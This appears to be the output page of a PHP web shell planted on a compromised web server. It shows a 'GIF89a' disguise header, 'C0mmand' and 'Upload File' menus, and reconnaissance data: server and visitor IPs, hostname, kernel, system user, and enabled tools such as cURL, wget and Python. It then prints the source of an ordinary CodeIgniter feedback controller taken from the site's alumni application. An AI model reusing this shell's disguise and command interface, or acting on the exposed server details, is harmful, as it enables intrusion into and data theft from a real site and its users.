GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.138.181.90
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../alumni/application/core/../controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../alumni/application/core/../controllers/user/Feedback.php
<?php

/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class Feedback extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("user/FeedbackManagement");
        $this->load->model("admin/NotificationManagement");
    }


    public function createFeedback() {
        $userData = $this->session->userdata("userData");
        $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
        $this->load->view("user/createFeedback", $viewData);
    }

    public function saveFeedback() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("queryType", "query type", "required", array("required" => "Select Query Type."));
            $this->form_validation->set_rules("title", "title", "required", array("required" => "Enter Feedback Title."));
            $this->form_validation->set_rules("desc", "decription", "required|max_length[1000]", array("required" => "Enter Feedback Decription.", "max_length" => "Desciption Reached Maximum Length."));
            if ($this->form_validation->run() == false) {
                $this->createFeedback();
            } else {
                $userSessionData = $this->session->userdata("userData");
                //print_r($userSessionData);
                $feedbackData = array("f_type" => $this->input->post("queryType"),
                    "f_title" => addslashes(trim($this->input->post("title"))),
                    "f_desc" => addslashes(trim($this->input->post("desc"))),
                    "f_username" => $userSessionData["name"],
                    "f_usermail" => $userSessionData["email"],
                    "f_usertype" => $userSessionData["user_role"],
                    "f_date" => date("Y-m-d"));
                $lastInsertedID = $this->FeedbackManagement->saveFeedback($feedbackData);
                if ($lastInsertedID > 0) {
                    $this->session->set_flashdata("successMessage", "Feedback Sent Successfully.");
                    redirect("user/Dashboard");
                } elsE {
                    $this->session->set_flashdata("errorMessage", "Failed Send CFeedback.");
                    $this->createFeedback();
                }
            }
        } else {
            redirect("Home#loginModal");
        }
    }

}

KBHT - 2023